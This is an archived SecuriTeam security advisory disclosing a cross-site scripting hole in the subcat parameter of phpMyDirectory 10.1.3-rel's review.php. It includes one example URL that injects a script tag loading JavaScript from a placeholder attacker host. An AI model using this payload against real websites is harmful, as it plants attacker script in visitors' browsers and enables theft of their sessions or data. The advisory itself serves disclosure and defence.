[UNIX] phpMyDirectory Cross Site Scripting Vulnerability
SecuriTeam <[email protected]>
| Newsgroups | gmane.comp.security.securiteam |
|---|---|
| Message-ID | <[email protected]> |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - phpMyDirectory Cross Site Scripting Vulnerability ------------------------------------------------------------------------ SUMMARY <http://www.phpmydirectory.com/> phpMyDirectory is a multi-purpose script, this script can be successfully implemented for Professional Yellow pages, books library, friend finder etc. phpMyDirectory does not properly filter it's parameters as needed, and is vulnerable to cross site scripting attack. DETAILS Vulnerable Systems: * phpMyDirectory version 10.1.3-rel An attacker can inject malicious Javascript code in parameter subcat at the review.php. Example: http://example.com/review.php?id=1&cat=&subcat="><script src=http://evil/foo.js></script> ADDITIONAL INFORMATION The information has been provided by <mailto:[email protected]> mircia. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected] ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.